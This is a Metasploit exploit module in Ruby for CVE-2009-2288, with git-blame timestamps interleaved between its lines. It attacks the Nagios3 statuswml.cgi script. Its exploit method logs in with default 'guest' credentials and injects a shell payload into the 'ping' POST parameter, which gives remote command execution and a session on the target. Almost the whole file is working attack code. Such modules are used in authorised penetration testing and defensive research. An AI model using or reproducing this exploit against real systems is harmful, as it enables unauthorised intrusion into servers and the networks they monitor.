2009-08-04 19:27:50 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2009-08-04 19:27:50 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2009-12-06 05:50:37 +00:00
|
|
|
Rank = ExcellentRanking
|
2009-08-04 19:27:50 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2009-08-04 19:27:50 +00:00
|
|
|
'Name' => 'Nagios3 statuswml.cgi Ping Command Execution',
|
|
|
|
'Description' => %q{
|
2010-04-30 08:40:19 +00:00
|
|
|
This module abuses a metacharacter injection vulnerability in the
|
|
|
|
Nagios3 statuswml.cgi script. This flaw is triggered when shell
|
|
|
|
metacharacters are present in the parameters to the ping and
|
|
|
|
traceroute commands.
|
2009-08-04 19:27:50 +00:00
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2009-09-12 04:22:58 +00:00
|
|
|
[ 'CVE', '2009-2288' ],
|
|
|
|
[ 'OSVDB', '55281'],
|
2009-08-04 19:27:50 +00:00
|
|
|
],
|
|
|
|
'Platform' => ['unix'],
|
2010-04-30 08:40:19 +00:00
|
|
|
'Arch' => ARCH_CMD,
|
2009-08-04 19:27:50 +00:00
|
|
|
'Privileged' => false,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1024,
|
|
|
|
'DisableNops' => true,
|
|
|
|
'BadChars' => '<>',
|
|
|
|
'Compat' =>
|
|
|
|
{
|
|
|
|
'RequiredCmd' => 'generic perl ruby bash telnet',
|
|
|
|
}
|
|
|
|
},
|
2010-04-30 08:40:19 +00:00
|
|
|
'Targets' =>
|
2009-08-04 19:27:50 +00:00
|
|
|
[
|
|
|
|
[ 'Automatic Target', { }]
|
|
|
|
],
|
2010-07-03 03:13:45 +00:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Jun 22 2009'))
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('URI', [true, "The full URI path to statuswml.cgi", "/nagios3/cgi-bin/statuswml.cgi"]),
|
|
|
|
OptString.new('USER', [true, "The username to authenticate with", "guest"]),
|
|
|
|
OptString.new('PASS', [true, "The password to authenticate with", "guest"]),
|
|
|
|
], self.class)
|
2009-08-04 19:27:50 +00:00
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-08-04 19:27:50 +00:00
|
|
|
def exploit
|
|
|
|
|
|
|
|
print_status("Sending request to http://#{rhost}:#{rport}#{datastore['URI']}")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-08-04 19:27:50 +00:00
|
|
|
res = send_request_cgi({
|
|
|
|
'method' => 'POST',
|
2010-04-30 08:40:19 +00:00
|
|
|
'uri' => datastore['URI'],
|
2009-08-04 19:27:50 +00:00
|
|
|
'headers' => { 'Authorization' => 'Basic ' + Rex::Text.encode_base64("#{datastore['USER']}:#{datastore['PASS']}") },
|
2010-04-30 08:40:19 +00:00
|
|
|
'vars_post' =>
|
2009-08-04 19:27:50 +00:00
|
|
|
{
|
|
|
|
'ping' => ';' + payload.encoded + '&'
|
|
|
|
}
|
|
|
|
}, 10)
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
|
2009-08-04 19:27:50 +00:00
|
|
|
if(not res)
|
|
|
|
if session_created?
|
|
|
|
print_status("Session created, enjoy!")
|
|
|
|
else
|
|
|
|
print_error("No response from the server")
|
|
|
|
end
|
|
|
|
return
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-08-04 19:27:50 +00:00
|
|
|
if(res.code == 401)
|
|
|
|
print_error("Please specify correct values for USER and PASS")
|
|
|
|
return
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-08-04 19:27:50 +00:00
|
|
|
if(res.code == 404)
|
|
|
|
print_error("Please specify the correct path to statuswml.cgi in the URI parameter")
|
|
|
|
return
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-08-04 19:27:50 +00:00
|
|
|
if(res.body =~ /Invalid host name/)
|
|
|
|
print_error("This server has already been patched")
|
|
|
|
return
|
|
|
|
end
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-08-04 19:27:50 +00:00
|
|
|
if(res.body =~ /p mode='nowrap'>(.*)<\/p>/smi)
|
|
|
|
print_status("Displaying command response")
|
|
|
|
out = $1
|
|
|
|
print_line(out.gsub(/<b>|<\/b>|<br.>/, ''))
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2009-08-04 19:27:50 +00:00
|
|
|
print_status("Unknown response, displaying raw HTML")
|
|
|
|
print_line(res.body)
|
|
|
|
end
|
|
|
|
|
|
|
|
end
|